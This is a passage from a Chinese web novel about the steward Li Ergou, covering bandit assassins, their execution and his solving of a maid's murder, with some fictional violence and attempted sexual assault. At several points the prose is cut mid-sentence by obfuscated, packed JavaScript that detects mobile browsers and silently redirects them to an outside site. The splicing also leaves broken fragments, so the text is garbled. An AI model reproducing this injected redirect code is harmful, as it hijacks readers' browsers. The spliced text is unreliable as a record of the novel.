“孔爷,这是一百块大洋,一切就都拜托您了。” 孔三愣把大洋在手里掂了掂,分量十足,然后笑眯眯地装进了自己口袋。 “明天早上六点,我们还在这里见面,到时候我把李二狗的人头带过来,你带上剩下的那一百块大洋。” 胡豹仿佛已经看到李二狗人头落地的样子。 “好,孔爷,不见不散。” 胡豹走后,赵小憨问道:“愣哥,咱们什么时候动手?” 孔三愣说道:“咱们只请了一天假,今天必须杀了李二狗,走,咱们先去胡家大院看看。” 孔三愣带着赵小憨来到胡家大院门前。 赵小憨**家大院雄伟的气势惊呆了。 “楞哥,这胡家大院可真**气派,咱们什么时候才能住上这样的房子啊?” “你小子命不好,没有个有钱的爹,这怨不得别人。” “楞哥,你快看,两边角楼上都有**,这深宅大院,咱们要想进入胡家大院**,实在不容易啊。” “凭咱两个人就想进胡家大院**?小憨,我看你小子的脑袋被驴踢了吧!” 赵小憨摸着脑袋嘿嘿一笑。 “楞哥,你就说咱们怎么办吧?我都听你的。” “我早就打听清楚了,李二狗有个爹叫李富贵,就住在镇子上。” “楞哥,祸不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010352|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及父母,咱们这样做是不是……” “你懂个屁!谁说要祸及他父母了?咱们只是利用一下李富贵罢了。” 孔二楞附耳对赵小憨一番交代,赵小憨听后直竖大拇指。 “楞哥,你可真是诸葛亮下凡,兄弟服了。” “看你那傻雏的样子,咱们得等到晚上再动手,走,哥带你去一个好地方。” “什么好地方?” 孔三愣故意神秘地说道:“跟我走,到了你就知道了。” 李二狗正站在角楼里和张二驴说话,突然看到院门口站着两个人,感觉特别眼熟。 他急忙拿起望远镜,看到孔三愣和赵小憨正对着胡家大院指手画脚。 李二狗每次进出山寨都能见到他们俩,一眼便认出了他们。 他们此时突然出现在胡家大院门口,李二狗有一种不好的预感。 “二驴,你看到那两个人没有?” 张二驴顺着李二狗手指的方向,看到了孔三愣和赵小憨。 “看到了,怎么感觉他们鬼鬼祟祟的?” “你马上派两个人跟着他们。”李二狗还不放心,“还是你带个人跟着去吧,其他人我不放心。” 张二驴点点头,急忙带着一个家丁出门跟了上去。 孔三愣带着赵小憨来到一个窑子。 “爷,您可有日子没来了?翠红都想死你了。” 门口一个浓妆艳抹的中年妇女热情地和孔三愣打着招呼,一看就是很熟悉的样子。 “凤姐,只有翠红想我吗?你就没想我吗?” 凤姐笑得眉眼都弯了。 “去去去,我的年纪都能当你妈了,少和老娘贫嘴。” 孔三愣一头拱到凤姐怀里,猥琐地说道:“妈妈,我要吃……” “小兔崽子,你别以为老娘不敢?走,跟我进屋里,老娘肯定喂漾你。” 凤姐虽然打扮的很妖艳,但脸上的囊褶子都能夹**,面对满屋的莺莺燕燕,孔三愣对她可没有什么兴趣。 “凤姐,我可不敢,喝了拉肚子,哈哈。” “小兔崽子,有贼心没贼胆,以后少拿老娘打镲。” 第280章 人家是真的想你嘛 孔三愣掏出一块大洋,塞到凤姐手中。 “凤姐,赶紧让翠红出来,另外给我这个小兄弟找个水嫩的姑娘。” 凤姐把大洋放在嘴边用力地吹了一下,然后赶紧放到耳边,那嗡嗡的声响令她兴奋不已。 “孔爷,放心吧,姐给你安排的明明白白,翠红、红杏,快出来接客了。” “孔爷,您这段日子去哪了?人家都想死你了。” 孔三愣用力地掐了一把翠红的屁股,淫笑道:“爷也想你,想的都快不行了,快扶爷进屋,爷有好东西给你吃。” 翠红夸张地打了他一下,娇嗔道:“你好讨厌啊!” 孔三愣搂着翠红上了楼。 赵小憨紧张地不知道该说什么,脸红到了脖子根。 红杏见多识广,立马看出赵小憨还是个小雏鸡,她兴奋地直搓手。 “爷,来这里就是寻开心,放开点嘛。” “我……你……那个……” 红杏上前挽住他的胳膊。 “好了,咱们先进屋,我再慢慢教你。” 赵小憨只剩下傻笑。 张二驴站在门外不远处,把一切都看在了眼里。 等孔三愣等人上了楼,张二驴才走进妓院。 凤姐看到张二驴,激动地差点跳起来。 “哎吆,张管家,您怎么来了?快请进,快请进。” 张二驴没想到自己在仙人洞镇的窑子里还这么有名。 “刚才进去那两个人,你认识吗?” 凤姐惊讶的同时也显得有些犹豫。 “张管家,您知道的,我们不能轻易泄露客人的隐私。” 张二驴掏出一块大洋扔给她。 凤姐喜笑颜开,把张二驴拉到一旁,低声说道:“他叫孔三愣,以前经常来,最近一段时间不知道什么原因没有过来,另一个不认识。” “还有呢?” 凤姐眼睛不自觉地向二楼瞅了瞅,显得有些犹豫。 张二驴二话不说,又给了她一块大洋。 “张管家,我告诉您,您可得替我保密啊。” “说,我肯定不告诉任何人。” 凤姐深吸一口气,凑到张二驴耳边轻声道:“他是清风寨的土匪,张管家,您还是少惹他们为妙。” “给我开一个他隔壁的房间,另外咱俩刚才的谈话内容不要告诉任何人,知道吗?” “知道,知道,张管家,我再给您安排个姑娘吧,保证让您满意。” “不用了,只开房间就行。” 张二驴转头向跟着他的家丁吩咐道:“你在门口看着,有情况立刻告诉我。” 张二驴上楼,进入孔三愣隔壁的房间。 孔三愣还真有两把刷子,弄得翠红哭爹喊娘,许久才消停下来。 “爷,您怎么这么久没来?人家还以为你把我忘了呢。” “你是想爷兜里的大洋吧?” “爷,您怎么能这么说呢?人家是真的想你嘛。” “哈哈,乖,爷也是身不由己,不过你放心,爷以后会常来看你的。” 两人说一会儿话,玩一会儿高难度动作,张二驴听得口干舌燥,实在无趣,便开门走了出去。 “走,我们去对面等。” 张二驴带着家丁来到窑子对面的一个馄饨店,两人一边吃馄饨一边等着孔三愣等人出来。 一直等到月上柳梢头,孔三愣和赵小憨才从窑子里走出来。 张二驴急忙跟了上去。 走了半天,孔三楞最后在李富贵家院门门口停了下来。 张二驴大吃一惊,他知道这是李二狗给他爹李富贵买的院子。 孔三愣给赵小憨使了个眼色,赵小憨上前敲响了院门。 “谁啊?” 院子里传来一个甜美女人的声音。 孔三愣说道:“我们是胡家大院的,李管家让我们来给李老爷送点东西。” 一听是李二狗派来的,里面的人立刻放松了警惕。 院门打开,春妮一张略施粉黛的俏脸出现在孔三愣和赵小憨面前,孔三愣看呆了。 “你们是二狗派来的?” “你们是二狗派来的?” 春妮连问两次,孔三愣才反应过来。 “是啊,是啊,李管家让我们来给李老爷送点东西。” 春妮看着他们两手空空,又看了看他们身后,什么东西都没有。 “让你们送什么东西?” 面对春妮狐疑的眼光,孔三愣给赵小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014126|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 憨使了个眼神之后,猛地上前捂住春妮的嘴,把她拖进院里,赵小憨紧跟着走进去关上院门。 “你们是什么人?知道我儿子是谁吗?” 院子里传出李富贵的两声质问之后就没了声音。 “跟我冲进去。” 张二驴一脚踹开房门,李富贵已经被打倒在地,孔二楞正在撕扯春妮身上的衣服。 “住手!” 随着张二驴的一声暴喝,孔三愣赶紧松开春妮去掏自己的枪,张二驴怎会给他机会,上前一脚踢在他的面部。 孔三愣眼珠子一翻,顿时晕了过去。 “爷爷饶命,爷爷饶命!” 赵小憨跪在地上不停地求饶。 “去找根绳子来。” 春妮从地上爬起来,拍拍身上的灰尘,扣好被孔三愣扯开的衣扣,然后淡定地回屋拿出两根绳子。 她帮着张二驴等人把孔三愣和赵小憨绑了个结实。 春妮瞪着孔三愣,突然抬脚踹向他的裆部,昏迷中的孔三愣被硬生生疼醒了,杀猪一般地嚎叫起来。 春妮充耳不闻,抬脚又狠狠地踹向孔三愣的裆部,直到他疼得再次昏死过去。 “求求你,别打我,求求你,别打我,我什么都没做……”赵小憨直接吓破了胆。 张二驴威胁道:“我问你什么,你答什么,否则他的下场就是你的下场。” “我都说,我都说。” “你们是什么人?” “我们是清风寨的土匪。” “你们为什么要**李老爷和李夫人?” “为了把李二狗引来杀了他。” 张二驴震惊不已。 “你们为什么要杀李二狗?你们和他有仇?” “没有,没有,我们是受人之托。” “受谁之托?” “我不知道啊。” 张二驴抬腿作势要踹向他的裆部,赵小憨吓得面如土色。 “别别别,我想起来了,他说他叫胡豹,他给钱,我们替他**。” “你们怎么和买凶的人联系?” “我们和他约好,明天早上六点在镇西奈何桥边见面,他给我们剩下的大洋。” “看好他们,我回去告诉李管家。” 第281章 穷则生变 张二驴匆匆赶回胡家大院。 李二狗一直在等他。 “狗哥,出事了!” 听完张二驴的汇报,尽管和自己事先预料的情况差不多,李二狗还是显得异常愤怒。 他愤怒倒不是因为胡豹买**自己,而是清风寨竟然有人收钱充当凶手,这是他无法接受的。 自从自己灭了朱重九,掌管清风寨之后,他制定寨规寨律,改革管理方式,一直以为清风寨已经被改造成为一支有组织有纪律并富有战斗力的队伍,如今看来依然是一群乌合之众。 “二驴,我得谢谢你,不然我家老爷子这次可能就凶多吉少了。” 张二驴连忙说道:“狗哥,你太客气了,这都是我应该做的,咱们这关系,李大叔和我亲爹是一样的。” 李二狗拍了拍张二驴的肩膀,他现在已经完全是一个合格的地主大院管家。 “狗哥,那俩土匪怎么办?交给警察局吗?” 李二狗决定拿这两个土匪大做文章。 “二驴,派人把那俩土匪送还给清风寨。” 听了李二狗的话,张二驴并没有感到惊讶。 上次他带领民团消灭溃兵,火烧溃兵营地,隐约觉得李二狗和清风寨之间的关系非同一般。 他不敢直接问李二狗,便在事后偷偷打听清风寨的情况,这一打听不要紧,吓得他目瞪口呆。 清风寨几个当家的曾经都是胡家大院民团的队员,全部和李二狗有着千丝万缕的联系,尤其是陈老三,以前在胡家大院更是李二狗的铁杆狗腿子。 这几个人凑在一起,要说和李二狗没关系,打死他也不会相信。 “好的,我马上去安排。狗哥,胡豹怎么办?明天一早他们在奈何桥边接头,要不要我带人做了他?这样的人留不得!” 张二驴做了一个手抹脖子的手势。 “这件事你不用管,我自有安排,你只负责把那俩人送到清风寨。” 张二驴领命而去。 李二狗稍后来到李富贵家里。 李富贵头上缠着绷带,正躺在春妮怀里呻吟。 “二狗哇,你可算来了,爹差点就见不到你了。” 李富贵哭声呜咽,很快就把春妮胸前洇湿了一大片。 “爹,放心吧,以后不会再有人敢来**了。” “二狗哇,你现在在仙人洞镇也是有身份有地位的人了,以后做人做事还是像爹这样低调一些,千万不要轻易得罪人。” 李二狗看着比李富贵小二十多岁的春妮,心想,你做事可真够低调的,我可学不来。 “爹,要不然你跟我搬进胡家大院住吧?” “那怎么能行?你只是人家的管家,我住进去算怎么回事?” “没事的,爹,我在里面有房子。” “那也不行,爹可不能坏了规矩,再说我也不想寄人篱下,你说呢,春妮?” 春妮面无表情,说道:“你说怎么样就怎么样。” 其实李二狗也担心李富贵住进胡家大院之后管不住自己,犯一些男人都会犯的错误。 “你要不想去也行,以后我安排几个民团队员保护你们。” “这个好,这个好,春妮,看到了吧?二狗对咱是真孝敬。” 李二狗不想看他俩秀恩爱,便掏出二十块大洋放在桌子上。 “爹,明天去买点营养品补一补,别舍不得花钱,我还有事,改天再来看你。” 李富贵见到大洋喜不自胜,赶忙从床上爬下来,头也不疼了。 他答应春妮给她二十块大洋给她弟弟娶媳妇,自己刚才一直装可怜装受伤,其实就是为了让李二狗主动给钱。 他不敢主动问李二狗要钱,因为自从出了潘小莲的事情之后,他每次问李二狗要钱,李二狗总是问来问去,只要他说不出正当理由,李二狗绝对不会给他钱。 “好好好,你快去忙你的吧,你娘会照顾我的。” 对于这个娘,李二狗是绝对张不开嘴的。 李二狗连夜上了清风寨。 第二天早上,议事厅内,气氛凝重。 自从宋孬蛋离开清风寨到省城上军校之后,山寨里再也没有人有能力与陈老三抗衡。 李二狗不在山寨的那些日子,陈老三俨然成为清风寨的大当家。 他仗着自己和李二狗的特殊关系和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17014127|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 资历,根本不把山寨轮值经理放在眼里。 事实证明,陈老三是将才而非帅才,他冲锋陷阵是把好手,但根本没有管理山寨的能力。 李二狗端坐在中央,阴沉着脸,其他人都低着头不敢说话。 “老三,孔三愣和赵小憨的事你怎么看?” 陈老三负责山寨的治安和防务,山寨出了这样的事情,他难辞其咎。 听到李二狗直接点了自己的名,内心更是忐忑不安。 “这俩**,公然违反寨规,收**下山**,还是要杀……”陈老三看了一眼李二狗,故意拍了桌子,“必须**,**一百次都不解气!” “三哥说得对,这样的害群之马必须杀一儆百!”陈嘎子附和道。 “是啊,不杀不足以平民愤!”张石头也同意**。 只有秀才没有说话,在山寨中,陈嘎子和张石头都是陈老三的追随者。他上山晚,资历浅,知道自己的意见在山寨根本没有分量,说与不说并没有什么影响。 李二狗对陈嘎子和张石头动辄附和陈老三的意见很不满,这种拉帮结伙搞小山头是他绝对不能接受的,他决定找机会一定要敲打敲打他们。 “秀才,你什么意见?” 秀才被李二狗点了名,只能说道:“我的意见和大家一样。” 大家的表态在李二狗的意料之中,清风寨的人被买通,要杀的人竟是自己,这样的人不杀,自己以后在清风寨领导层中的权威将荡然无存。 “他们两个确实该杀!但杀了他们之后呢?以后还会不会出现类似的情况?再出现类似的情况怎么办?继续杀吗?” 陈老三立马表态道:“当然要杀,这样的人有一个杀一个,绝不姑息!” “杀一两个人很容易,但我认为找出为什么会出现这种情况的原因远远比杀两个人更重要。” “狗哥,山寨入不敷出已久,目前面临着很大的困难,兄弟们这才生出异心,咱们得尽快想想办法怎么解决山寨的困难,不能总是这样拖下去。” 对于陈老三说的情况,李二狗深有同感,穷则生变,这符合人性。 第282章 耕者有其田 李二狗敲了敲桌子,说道:“老三说的有道理,但不管怎么样,清风寨绝不能走土匪打家劫舍的老路,这是原则性问题,没有讨价还价的余地。” “狗哥,土匪不打家劫舍怎么生存下去?” “是啊,三哥说得对,咱们可以不**普通老百姓,但对于那些地主豪绅,该**还得**,不然咱们这些人只能饿死!” 对于李二狗来说,**为富不仁、作恶多端的地主恶霸可以,但绝不能不分青红皂白,是地主就**。 陈老三、陈嘎子、张石头都是粗人,他们脑子里根本没有打家劫舍之外的东西。 “秀才,你认为呢?” 秀才毕竟读过几年书,见识远比他们要高得多。 “狗哥,我认为之所以会出现这种情况,还是因为兄弟们心中没有一个明确的目标。” “目标?什么目标?” “要想让大家服从命令听指挥,打压只能管一时却管不了一世,要想长久就必须让大家心中有一个明确目标。比如水泊梁山,他们的目标就是替天行道。天地会,他们的目标是反清复明。还有同盟会,他们的目标是驱除鞑虏、恢复中华。有了这些明确的目标,大家才有前进的动力,才能拧成一股绳,我认为咱们山寨也应该提出一个明确而响亮的口号。” 李二狗夸赞道:“秀才说的非常有道理,不愧是读书人,大家想一想咱们山寨应该提出一个什么样的口号?” “我看咱们就学宋江,替天行道就很好,响亮有力。” “我认为还是杀富济贫好,形象生动。” “还是除暴安良好,简单直接。” “秀才,你说说?” “狗哥,对于咱们农民来说,最大的愿望就是能有自己的土地,大家想一想,如果咱们都有地种,有粮吃,谁还愿意上山来当土匪?我觉得咱们山寨的口号必须和土地联系起来,就叫耕者有其田,大家觉得怎么样?” “耕者有其田?好啊,秀才,这个口号好,让大家有个盼头,以后再想做坏事的时候也会多想一想。” “耕者有其田,这就是我心中的理想啊。”陈老三感叹道,“秀才,你小子有才啊。” 秀才的意见被采纳,显得很兴奋,他继续说道:“狗哥,光提出一个口号还远远不够,关键是怎么去执行,得让大家看得见摸得着,这样才能有效果。” 李二狗用鼓励的眼光看着秀才。 “你有什么好建议,尽管提出来。” 秀才红光满面,说话的声音都高亢了许多。 “狗哥,我有一个不成熟的建议,大家看看合不合适?” “秀才,你尽管说,说出来大家再研究讨论。” 秀才终于觉得自己一身的本领有了用武之地。 “我觉得对于一个人来说,身边的人才是最好的榜样。” 秀才对此深有体会,正是因为张清明上军校,才让自己有了深深的危机感,心中才种下了向他学习并誓要超越他的理想。 “所以,咱们必须让大家真真切切地看到身边的人成功,只要在山寨好好干,就能分到土地,这样大家才有干事创业的激情和冲劲。” “秀才,你说的再具体一点。” “比如,咱们山寨在每年年底的时候可以召开总结大会,根据每个人的表现,评选出三到五名表现最优秀的兄弟,每人奖励他们一定数量的土地。得到土地之后,他们可以选择自己下山耕种,也可以把得到的土地让给家人耕种。” “咱们哪有土地啊?”陈老三不假思索地问道。 “土地很简单,咱们直接买就行,现在一亩土地还不到十块大洋,每年买几十亩土地对于咱们山寨来说并不是什么太大的负担,关键是让大家有争先恐后的劲头,同时也让大家有敬畏之心,不敢轻易违反寨规。” “秀才的建议非常好,我再提一个意见,对于怎么评选出表现最优秀的兄弟,必须有一个让所有人都心服口服的标准,我建议这个标准就由秀才来负责制定,制定好之后再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018574|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上寨务会研究,大家还有什么意见没有?” 大家全部点头同意。 李二狗通过重用秀才来刻意削弱陈老三在山寨的影响力,他这样做并不是忌惮陈老三的影响力超过自己,而是觉得以陈老三的能力,影响力太大不利于山寨的长远发展。 “好,大家一起去聚义厅广场,杀鸡儆猴。” 广场上,孔三愣和赵小憨被双手反绑,跪在行刑台上,广场周围挤满了土匪。 胡豹面色惨白,瘫坐在地上。 李二狗特意吩咐人在今天早上接头的时候把胡豹绑上山,他也是其中的一只猴。 孔三愣见到陈老三,像是见到救星一般。 “三哥,三哥,饶了我们吧,我们再也不敢了!” 陈老三冷哼一声,根本没有搭理他。 李二狗给秀才递了个眼神,秀才上前,朗声说道:“孔三愣、赵小憨胆大妄为、无视寨规、漠视规矩,为了一己私利触碰山寨红线,经寨务会研究决定,立即执行**!” 人群中立即发出一阵惊叹。 秀才继续说道:“山寨兄弟要引以为鉴、吸取教训,深刻认识到寨规寨纪是长期有效的铁规矩、硬杠杠,自觉保持清醒头脑,始终心有所畏、言有所戒、行有所止。各位兄弟要时刻绷紧纪律这根弦,把精力和心思用在干事创业上。” 孔三愣眼睛直勾勾盯着李二狗,突然发现这个在山寨一直蒙面示人的大当家,身材气质竟和胡家大院的管家李二狗如出一辙,难道…… 他痛苦地闭上眼睛,彻底死心了!知道自己这次必死无疑! “行刑!” “砰砰”两声枪响,孔三愣和赵小憨脑后开花,倒在血泊中,胡豹已经尿流满地。 “狗哥,那个人怎么办?” 陈老三指了指瘫在地上口吐白沫的胡豹。 “必须给他一点教训,不然他会一直没完没了,打断腿扔下山。” 这边的事刚处理完,胡家大院又出了事,真是一波未平一波又起。 第283章 四季上吊 李二狗回到胡家大院的时候,天色已经擦黑。 “狗哥,你终于回来,四季姑娘她……她上吊了。” “你说谁?”李二狗以为自己听错了。 “四季姑娘上吊了。” “人救下来没有?” “今天中午发现的时候身子都已经凉了。” 李二狗至今依然记得第一次见四季时她对着自己微笑的样子,她的笑容是那样甜美,就像邻家的小姐姐。 自从胡老太太过世之后,李二狗一直没有安排四季做其他事情,她一直一个人住在胡老太太原来的院子里。 本来李二狗打算征求一下她的意见,想让她嫁人或者掌管一家店铺,没想到她竟然上吊**了! 她怎么会上吊**呢? “快带我去看看。” 来到院子里,四季的尸体放在一张草席上,身上盖着一块白布。 李二狗强忍泪水,轻轻地掀开白布。 四季脸色青紫肿胀、眼球突出、牙齿出血,脖子上有一条明显的勒痕。 虽然种种迹象都是上吊窒息而亡的特征,但李二狗的第一反应是四季绝对不是自己上吊身亡。 即使一个人决心选择上吊赴死,但在上吊的过程中,因为绳子勒紧脖子带来的窒息感,身体会条件性地出现垂死挣扎的反应,所以脖子上的勒痕肯定不会是一条规则而细小的勒痕。 而四季脖子上的勒痕就是这个特征。 那就只有一种可能,四季是被人杀害后又把她的身体吊上去,伪造出上吊**的假象。 “二驴,快去把院门关上。” 张二驴虽然不明白李二狗的意思,但还是照做了,这一点和陈老三一样,这也是李二狗选人用人的主要标准之一。 “狗哥,你发现什么了?” “二驴,来帮忙,咱们检查一下四季的身体上有没有其他伤痕。” 两人仔细检查了一遍四季的身体,除了面部和脖子之外,并没有发现她身体其他部位有明显的伤痕。 李二狗怀疑四季是被人用被子或者枕头之类的东西捂住口鼻窒息而死。 他快步来到卧室,拿起枕头仔细观察,发现枕面上确实有血迹。 李二狗又把屋内屋外仔细检查了一遍,发现东侧院墙下有一个很深的脚印,很明显,是有人从墙上跳下时留下的,从脚印的大小判断,应该是男人的脚印。 想到这,李二狗马上来到卧室房门门栓处查看,果然发现门栓上面有轻微的刀痕,这是被人从门外用刀子拨动门栓时留下的。 张二驴完全没有想到,李二狗竟然能在这么短的时间内发现这如此多关键线索。 “狗哥,你真是火眼金睛啊!那我们现在怎么办?” “你先不要声张,去摸排一下从昨晚到今天早上大院里男家丁的活动轨迹,先把可疑人员摸排出来,咱们再想办法。” “好,那四季姑娘怎么办?” “给她打一副上好的棺材,先入土为安吧。” 李二狗眼眶泛红,眼泪顺着脸颊流了下来。 在李二狗的想象中,四季一直是自己理想中的妻子模板。 她美丽善良,温柔体贴,尤其是笑起来的样子,会让人忘记所有的烦恼,可现在…… 埋葬完四季,张二驴也已摸排出可疑人员名单,一共有三个人。 “张飞虎那天晚上值夜,正好负责四季所住四合院那片区域。” “赵云龙有半个多时辰不在宿舍,据他自己说是肚子疼,一直在厕所。” “刘海蛟同宿舍的人那晚全部值夜,宿舍只有他一个人。” 听完张二驴的报告,李二狗问道:“除了这三个人,其他人都没有问题吗?” “其他人都有不在场的证据,基本可以排除。” 李二狗皱了一下眉头。 “基本排除是什么意思?” “如果是两个人协同作案,可能彼此会相互打掩护。” 李二狗十分肯定地说道:“作案的是一个人,院墙下是一个人的脚印。” 张二驴不得不佩服李二狗的仔细严谨。 “狗哥,那接下来我们怎么办?” “把他们三个人先控制起来,然后把他们的鞋子全部找来,一一比对。” 张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018575|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二驴恨不得当场给李二狗磕一个,他没想到如此复杂的事情解决的方法竟是如此简单,自己怎么就想不到呢? 通过比对,很快就确定作案的人是刘海蛟。 李二狗决定亲自审问他。 “李管家,您可千万不能冤枉好人呐,我怎么可能**呢?我和四季姑娘无冤无仇。” “**一定要有冤有仇吗?” “难道不需要吗?” “当然不需要!或许是你见色起意,或许是你要**灭口,又或许是你单纯为了**而**。” “李管家,这怎么……怎么可能?**是要偿命的。” “知道**要偿命,你为何还要**?” 面对李二狗咄咄逼人的追问,刘海蛟竟显得丝毫不乱,越是这样越说明他早已做足了心理准备。 “我没有**!李管家,您说我**,请您拿出证据来。” “你的脚印为何会出现在四季的院子里?” 刘海蛟微微一怔,随即说道:“胡家大院和我同样尺寸同样鞋子的人很多,为什么就认定是我留下的呢?” “因为其他人都有不在场的证据,而你没有。” “也许是凶手为了掩人耳目故意穿了我的那双鞋子。” “你的那双鞋子放在什么地方?为什么凶手能轻易拿走?” “我那双鞋子就放在宿舍窗台上,凶手很容易就能顺手拿走。” “你为什么知道是那双鞋子留下的脚印?我说过是什么鞋子吗?” 刘海蛟掉进了李二狗预设的陷阱里。 “我没有**,你不能冤枉好人!” 刘海蛟决定死扛到底。 李二狗已经确定就是刘海蛟杀了四季。 既然已经确定,李二狗就不打算对他客气了。 “二驴。” “狗哥,我在。” “刘海蛟可能需要一个地方好好想一想,院里的那条大狼狗是不是已经饿了三天了?就把他扒光了关进狼狗的笼子里吧,正好清醒清醒。” “好嘞,狗哥。” 刘海蛟彻底吓懵了。 “我说,我说……” 第284章 滥用私刑 原来刘海蛟在外边**输了很多钱,便盯上了一直独居的四季。 但四季为人谨慎,把自己的钱藏得很严实,刘海蛟在屋内翻箱倒柜却一无所获。 四季听到动静后,刘海蛟便用刀逼问她钱藏在什么地方,没想到聪颖单纯的四季立马听出是刘海蛟的声音。 刘海蛟见事情败露,便用枕头捂死四季,然后又伪装了她上吊**的假象。 “你**欠了多少钱?” 李二狗死死地盯着刘海蛟,恨不得立刻生吞活剥了他。 刘海蛟哆哆嗦嗦地比划出五个手指头。 “五块大洋。” 李二狗猛地上前薅住他的衣领,怒斥道:“你**为了五块大洋就杀了四季?老子要活剥了你!” 张二驴赶忙上前劝道:“狗哥,你冷静点,咱们还是把他交给警察局处理吧?” 李二狗冷笑道:“岂能如此便宜了他!把他拖出去先打断双腿再送到警察局。” “狗哥,这样做不太好吧?还是把他交给警察局吧?” “哼,必须打断他的腿!” “李管家,饶命啊,我知道错了,我知道错了。” “下雨了,你知道打伞了,天塌了,你知道后悔了,我告诉你,晚了!二驴,拖出去,给我狠狠地打,打不断他的腿我打断你的腿。” “狗哥,你就交给我吧,我肯定打断他**这双狗腿。” 张二驴把所有的家丁和丫鬟**起来,然后亲自用擀面杖打断了刘海蛟的双腿,他惨叫的声音令所有的人胆战心惊。 打断刘海蛟的双腿之后,张二驴安排人把他直接送去了县警察局。 谁承想刘海蛟进了警察局之后便立马翻了口供,矢口否认自己**,并指控李二狗滥用私刑,严刑逼供。 王霸心想,李二滥用私刑,受害者又被掩埋,如今凶手不承认自己**,他敏锐地发现这里面大有油水。 他带着两个警察开着警车来到胡家大院。 “老子是县警察局的,快去把你们李管家叫来。” 王霸霸气地走进胡家大院,无人敢拦。 张二驴连忙跑过去,恭敬地问道:“老总,你们是来调查刘海蛟**案的吗?” “什么**案?老子是来调查你们滥用私刑、严刑逼供之事,快去把李二狗给我叫出来。” 张二驴看来人有些面生,便问道:“老总,以前好像没见过您,不知……” 身后一个尖嘴猴腮的警察立刻说道:“睁开你的狗眼看清楚,这是我们警察局王霸王队长,专门负责侦破全县的大案要案。” 张二驴依然保持着恭敬的样子。 “原来是王队长,久仰大名,”张二驴刻意压低声音,“王队长,我们李管家和孙县长认识……” 王霸冷笑道:“和孙县长认识?哈哈,全县说认识孙县长的少说也有几百,孙县长认识他吗?” 张二驴连忙说道:“认识,认识,孙县长和我们李管家关系很要好。” “我说我和省政府夏主席也很要好,你信吗?不要以为自己和孙县长见过两次面,说过几句话,就认为是好朋友了,我最恨你们这种打着领导幌子到处为非作歹的人。” 张二驴看着眼前这个颐指气使的王霸,心想,全县官场几乎都知道李二狗和孙竹刚关系要好,他如此无知无畏是怎么当上警察局队长的? “王队长……” 王霸粗鲁地打断他。 “你不要再说了,你的身份和我不对等,赶紧去把李二狗给我叫出来,本队长亲自来了,他还不赶紧出来接待,怎么摆这么大的谱?” 张二驴只能说道:“王队长,请您稍等,我马上去向李管家报告。” 李二狗此时正在于兰芝院里逗弄梦瑶。 “李管家,总算找到你了,县警察局来了一个叫王霸的队长,指明要见你。” “没说什么事?” “说咱们滥用私刑、严刑逼供,看样子来者不善。” 李二狗立刻明白了王霸的目的。 “这是来敲竹杠的,都是以前玩剩下的东西,你先去吧,我一会儿过去。” 张二驴看李二狗没当回事,便提醒道:“狗哥,这个王队长好像有点唬,对你和孙县长的关系不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 